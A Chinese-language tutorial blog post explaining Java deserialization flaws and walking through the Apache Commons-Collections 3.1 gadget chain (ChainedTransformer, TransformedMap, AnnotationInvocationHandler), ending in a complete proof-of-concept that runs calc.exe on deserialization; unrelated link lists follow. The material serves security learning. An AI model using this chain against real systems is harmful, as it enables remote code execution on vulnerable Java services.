本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链。

我们知道序列化操作主要是由ObjectOutputStream类的 writeObject()方法来完成,反序列化操作主要是由ObjectInputStream类的readObject()方法来完成。当可序列化对象重写了readObject方法后,在反序列化时一般会调用序列化对象的readObject方法。

在Student类中重写ObjectInputStream类的readObject方法

package com.test;
import java.io.*;class Student implements Serializable {private int id;private String name;private float score;private transient String address;public Student(int id, String name, float score, String address) {this.id = id;this.name = name;this.score = score;this.address = address;}@Overridepublic String toString() {return "Student{" +"id=" + id +", name='" + name + '\'' +", score=" + score +", address='" + address + '\'' +'}';}//重写父类的readObject方法private void readObject(java.io.ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {System.out.println("readObject......");//调用默认的readObject方法objectInputStream.defaultReadObject();//在重写的readObject方法中自定义要做的事情//调用pc的计算器Runtime.getRuntime().exec("calc.exe");}
}
class Serialize {public static Student Student_Unserialize() throws IOException, ClassNotFoundException{File file = new File("stu.txt");FileInputStream fileInputStream = new FileInputStream(file);ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);Student student = (Student) objectInputStream.readObject();objectInputStream.close();System.out.println("反序列完成......" + student);return student;}public static void Student_Serialize() throws  IOException{File file = new File("stu.txt");FileOutputStream fileOutputStream = new FileOutputStream(file);ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);Student student = new Student(10,"liubei",66.5f, "beijing");objectOutputStream.writeObject(student);//objectOutputStream.writeObject("hello world");objectOutputStream.close();System.out.println("序列化完成......");}
}public class Serialize_Test3 {public static void main(String[] args) throws Exception {Serialize.Student_Serialize();Serialize.Student_Unserialize();}
}

当Student_Unserialize()方法内部调用readObject进行反序列化,会调用Student类中重写后的readObject方法,执行calc.exe调用电脑的计算器,如下所示

反序列化漏洞产生的原因是可序列化对象重写readObject方法并定义了一些危险的操作导致的(例如调用Runtime类的exec执行系统命令),但在实际的开发中,出于安全考虑并不会直接在readObject方法定义一些危险的操作,这就需要通过构造利用链来执行我们想要的操作。

利用链有点类似于php反序列化中的pop利用链,通常是在java程序中通过方法调用、对象传递和反射机制,动态代理,字节码编程等各种手段作为跳板,构造出一个能够产生安全问题的利用链 。

接下来通过一个反序列化漏洞学习反射链如何构造。

apache commons-collections组件反序列化漏洞环境

jdk1.7.0_80

commons-collections3.1

影响版本:

commons-collections3.1-3.2.1

jdk1.7.1以下

apache commons-collections组件是一个基于java标准库的集合框架扩展的第三方工具库,提供了很多集合工具类,该组件的Transformer接口存在反序列化漏洞,实现了Transformer接口的类有ChainedTransformer,ConstantTransformer,InvokerTransformer这几个类。

新建一个maven项目,先在pom.xml文件中引入apache commons-collections-3.1组件的依赖:

        <dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>

先来看一下最简单的漏洞利用poc:

package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Poc2Test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};Transformer transformerChain = new ChainedTransformer(transformers);Map map = new HashMap();Map transformedMap = TransformedMap.decorate(map, null, transformerChain);transformedMap.put(null,transformerChain);}
}

简单说明一下这个poc程序的利用链流程:

1. 首先创建了一个Transformer[]数组,在数组中使用了ConstantTransformer和InvokerTransformer两个类创建了4个对象,这一段是漏洞利用的核心代码

2. 将transformers数组存入ChaniedTransformer类

3. 创建Map并转换为链

4. 触发漏洞利用链,利用漏洞

先来看这段漏洞利用的核心代码:

new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

通过Transformer[]数组来创建对象,Transformer是一个接口,该接口有一个transform方法,这个方法的作用是将一个对象转换为另一个对象,通过查看源码发现ConstantTransformer和InvokerTransformer两个类也都实现了Transformer接口。

创建第一个对象时会调用ConstantTransformer的构造,将Runtime作为参数,然后构造方法内部会将传入的Runtime的class对象赋值给成员属性iConstant

ConstantTransformer类中的transform方法作用是将属性iConstant返回

 public Object transform(Object input) {return iConstant;}

InvokerTransformer类中的transform方法实现如下

    public Object transform(Object input) {if (input == null) {return null;}try {//获取class对象Class cls = input.getClass();//获取class对象的某个方法Method method = cls.getMethod(iMethodName, iParamTypes);//执行class对象的某个方法return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

transform方法主要是获取传入参数的class对象,然后根据iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法。

这三个成员属性的值是通过InvokerTransformer类的构造来赋值的

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}

创建完这几个对象后,将transformers数组传给ChaniedTransformer类,该类也实现了Transformer接口的transform方法

//构造方法
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;
}//实现的transform方法
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;
}

ChaniedTransformer类的构造方法会将transformers数组赋值给iTransformers 成员属性,而transform方法主要是遍历iTransformers 数组,并根据数组中每一个具体的对象元素调用不同的transform方法,如果遍历到的对象元素类型是InvokerTransformer对象,那么就会调用InvokerTransformer对象的transform方法执行反射操作。

也就是说,ChaniedTransformer类中的transform方法会将之前利用链(创建的4个对象)都组合起来,最终形成的伪代码:Runtime.class.getMethod("getRuntime",null).invoke(null).exec("calc.exe") 。解释一下这里为什么要通过反射的方式获取Runtime对象和方法。

原因在于Runtime类没有实现Serializable可序列化接口,ConstantTransformer(Runtime.class)这一步操作是获取Runtime的class对象,由于Class类实现了Serializable接口,通过让Runtime继承Class<T>类也可以实现可序列化

我们可以得到这样一个利用链:

利用链有了,下一步就是寻找触发点,反序列化过程是一个正常的业务需求,将正常的字节流还原成对象属于正常的功能。但是当程序中的某处触发点在还原对象的过程中能够成功地执行构造出来的利用链,则会成为反序列化漏洞的触发点,也就是说,这个触发点需要做的事情就是触发ChainedTransformer类的transform方法。

那么我们可以明确下一步要做的事情就是寻找哪些类调用了ChainedTransformer的transform方法并且实现了Serializable接口。

经过一番查找,最终在apache commons-collections组件找到LazyMap类和TransformedMap这两个类,同时这两个类也都实现了Serializable接口。

先来看TransformedMap类,这个类中有三个方法内部调用了transform方法,分别为checkSetValue,transformKey,transformValue这三个方法,但是这三个方法的都是protected(受保护)权限,只能在类内部调用,我们需要找别的触发链,寻找有哪些方法调用了这三个方法。

    protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}protected Object transformKey(Object object) {if (keyTransformer == null) {return object;}return keyTransformer.transform(object);}protected Object transformValue(Object object) {if (valueTransformer == null) {return object;}return valueTransformer.transform(object);}

接着又在TransformedMap类中找到了一个public访问权限的decorate方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}

decorate方法会通过TransformedMap的构造方法创建一个TransformedMap并返回,该方法要求传入三个参数,参数1是一个Map类型,其他两个参数都为Transformer 类型,TransformedMap的构造方法会将参数二和参数三赋值给成员属性keyTransformer和valueTransformer。

decorate方法还不足以触发利用链,接着我们在TransformedMap类中找到一个public权限的方法:

    public Object put(Object key, Object value) {key = transformKey(key);value = transformValue(value);return getMap().put(key, value);}

put方法内部调用了transformValue方法,通过调用transformValue方法来间接调用transform方法,但是transformValue方法中内部是由TransformedMap类的成员属性valueTransformer来调用transform方法的,因此decorate方法还有一个作用就是将transformerChain传给valueTransformer属性,当调用put方法时就可以触发利用链

以上只是为了介绍apache commons-collections组件反序列化漏洞的利用链是如何构造的。

如果想要触发反序列化漏洞的话,还需要找到一个可序列化对象重写readObject方法并且内部操作了Map,于是我们在jdk中找到一个sun.reflect.annotation.AnnotationInvocationHandler类,该类实现了Serializable接口并且还重写了readObject方法,如下所示:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}

上面那个readObject方法是新版jdk的,不太容易分析,我们看一下jdk旧版本的readObject方法

 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly  AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; all bets are offreturn;}Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));}}}}

AnnotationInvocationHandler类实现了InvocationHandler接口,还有一个final的成员属性memberValues,其数据类型为Map

在旧版本的readObject方法中,AnnotationInvocationHandler类在重写的readObject方法使用for循环获取了memberValues的entrySet()键值对,进行了setValue操作,也就是说readObject方法所做的事情就是对memberValues.entrySet()中的每一项memberValue进行了setValue操作。

这里的memberValues指的是TransformedMap(如果不理解这一步的话,先往下看,后面还会介绍memberValues),再回到新版jdk中AnnotationInvocationHandler类的readObject方法中

//获取TransformedMap的entrySet迭代器
Iterator var4 = this.memberValues.entrySet().iterator();
//再通过entrySet迭代器获取一个Entry
Entry var5 = (Entry)var4.next();

实际上var5就是TransformedMap的Entry,var5.setValue()相当于TransformedMap调用了put方法

这里有一个问题:TransformedMap中的EntrySet是从哪来的?

通过查看TransformedMap类的体系结构发现,TransformedMap类继承了AbstractInputCheckedMapDecorator类, 而AbstractInputCheckedMapDecorator类继承了AbstractMapDecorator类,AbstractMapDecorator这个类实现了Map接口,TransformedMap的entrySet是调用了AbstractInputCheckedMapDecorator类中的entrySet方法返回一个EntrySet(entrySet的调用流程有些复杂,这里不详细展开,大家自行调试跟踪分析)。

    public Set entrySet() {if (isSetValueChecking()) {return new EntrySet(map.entrySet(), this);} else {return map.entrySet();}}

这里调用entrySet方法会传入两个参数,map就是我们创建的HashMap,这里的this对象指的是transformedMap。

实际上是返回了AbstractInputCheckedMapDecorator类中的静态类EntrySet对象,并将传入的this对象赋给parent成员属性

    static class EntrySet extends AbstractSetDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {super(set);this.parent = parent;}}

parent调用了一个很关键的方法,parent成员属性定义如下:

        /** The parent map */private final AbstractInputCheckedMapDecorator parent;

前面var5.setValue()是调用了TransformedMap的setValue方法的说法并不严谨,实际上是调用了TransformedMap的父类AbstractInputCheckedMapDecorator中的静态类MapEntry的setValue方法

setValaue方法中的parent调用了checkSetValue方法,实际上是调用transformedMap的checkSetValue方法,通过checkSetValue方法间接调用transform方法,也就是说transformedMap的setValue操作最终会触发反序列化漏洞的利用链,apache commons-collections组件反序列化漏洞的利用链。

现在我们还剩下最后一个问题没有解决:如何获得AnnotationInvocationHandler类对象并将transformedMap传给AnnotationInvocationHandler类?

通过查看AnnotationInvocationHandler类的具体实现可以看到该类的构造方法要求传入两个参数,参数var1为Class类型,var2为Map类型,我们重点关注var2参数。

但是AnnotationInvocationHandler类的访问权限不是public,默认只有在同一packge下才能访问,因此只能通过反射机制获取AnnotationInvocationHandler类构造方法对象,再通过newInstance方法传入transformedMap参数,调用指定的构造创建AnnotationInvocationHandler对象,把transformedMap传给var2参数。

接着AnnotationInvocationHandler的构造方法会把var2赋值给memberValues成员属性,这一步验证了前面我们说readObject方法中的memberValues其实就是transformedMap。

现在所有的疑问都解决了,来看一下最终构造的利用链:

利用链代码:

package com.test;import java.io.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Constructor;
import java.lang.annotation.Target;
import org.apache.commons.collections.map.TransformedMap;public class PocTest {public static void main(String[] args) throws Exception{//核心利用代码Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};//将数组transformers传给ChainedTransformer,构造利用链Transformer transformerChain = new ChainedTransformer(transformers);//触发漏洞Map map = new HashMap();map.put("value", "test");//通过反射触发利用链Map transformedMap = TransformedMap.decorate(map, null, transformerChain);Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获得AnnotationInvocationHandler的构造器Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);//将transformedMap传给AnnotationInvocationHandler的构造Object instance=ctor.newInstance(Target.class, transformedMap);//序列化FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);objectOutputStream.writeObject(instance);objectOutputStream.close();//反序列化FileInputStream fileInputStream = new FileInputStream("serialize.txt");ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);Object result = objectInputStream.readObject();objectInputStream.close();}
}

先调用writeObject方法把AnnotationInvocationHandler对象进行序列化,然后再通过readObject方法进行反序列化,由于AnnotationInvocationHandler对象重写了readObject,接着会调用重写的readObject,然后在该方法中var5.setValue()操作就会触发之前构造的反序列化利用链。

执行payload,成功弹出calc计算器

参考资料

Java反序列化漏洞Apache CommonsCollections分析 - yyhuni's - 博客园

6-java安全——java反序列化漏洞利用链相关推荐

  1. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  2. Java 安全之反序列化漏洞

    1.序列化与反序列化: 序列化与反序列化对于 Java 程序员来说,应该不算陌生了,序列化与反序列化简单来说就是 Java 对象与数据之间的相互转化. 那么对于完全面向对象的 Java 语言来说为什么 ...

  3. Shiro反序列化漏洞利用笔记

    Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...

  4. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  5. php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2

    Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...

  6. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

  7. [Java反序列化]CommonsBeanutils1利用链学习

    0x01 前篇shiro的利用,需要动态字节码 ,而这种方式需要我们自己添加依赖,所以很局限,而CommonsBeanutils 是shiro的依赖, CommonsBeanutils 是应用于 ja ...

  8. java amf3_Java AMF3 反序列化漏洞分析

    写在前面的话 AMF(Action Message Format)是一种二进制序列化格式,之前主要是Flash应用程序在使用这种格式.近期,Code White发现有多个Java AMF库中存在 目前 ...

  9. st2全版本漏洞检测java,Struts2全版本漏洞利用复现(长期更新)

    本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担 事情起因 用靶场熟悉下Struts2的漏洞利用工具 注意:单纯的使用工具不能加深对漏洞的理解,熟悉漏洞原理才是重点 工具列举 Ha ...

最新文章

  1. 2021-2027年中国智能制造行业市场前景预测研究报告
  2. 判定两棵二叉树是否相似以及左右子树交换、层次编号
  3. 第三章:Creating Utilities--24.一个交互式的计算器
  4. JVM(2)之 JAVA堆
  5. Kotlin极简教程:第10章 Kotlin与Java互操作
  6. VMDNS服务器未响应,vmware克隆虚拟机后进行网络配置
  7. SimBERTv2来了!融合检索和生成的RoFormer-Sim模型
  8. wikioi 1034 家 实时动态的网络流量(费用流)
  9. Lambdas中的例外:有点混乱的优雅解决方案
  10. java中如何分隔字符串_Java中分割字符串
  11. wordspress-作品展示主题Muiteer2.3.7开心版主题模板
  12. java socket 异步回调函数,分享nodejs异步编程基础之回调函数用法
  13. SpringBoot整合Redis入门
  14. CCF201912-2 回收站选址(100分)【序列处理】
  15. 杰控组态自定义串口通讯的经验
  16. 十年后是计算机人员的作文,二十年后的电子计算机作文
  17. 5.19C++:标识符、关键字、多文件结构、exter、编译预处理
  18. 派森诺细菌完成图标准分析轻松发文
  19. 用python造数据
  20. 两个字母组成的拼音,域名注册备用

热门文章

  1. w7系统计算机里没有摄像头,w7系统找不到摄像头怎么办_w7系统找不到摄像头如何解决...
  2. php 根据文件内容来判断文件类型
  3. jvm之年轻代(新生代)、老年代、永久代以及GC原理详解
  4. 【智能优化算法-天鹰算法】基于改进天鹰优化算法求解多目标优化问题附matlab代码
  5. java sa是什么职位_java sa需要懂那些东西?
  6. 想让用户“一见钟情”,你需要主题订阅消息精准推送
  7. Cocos实战案例:高手解析《捕鱼达人3》怎样玩3D VR
  8. 关于iOS 的一些总结
  9. 基于FPGA的永磁同步伺服控制系统的设计,在FPGA实现了伺服电机的矢量控制 都是通过Verilog 语言来实现的
  10. 图像去噪——椒盐噪声与高斯噪声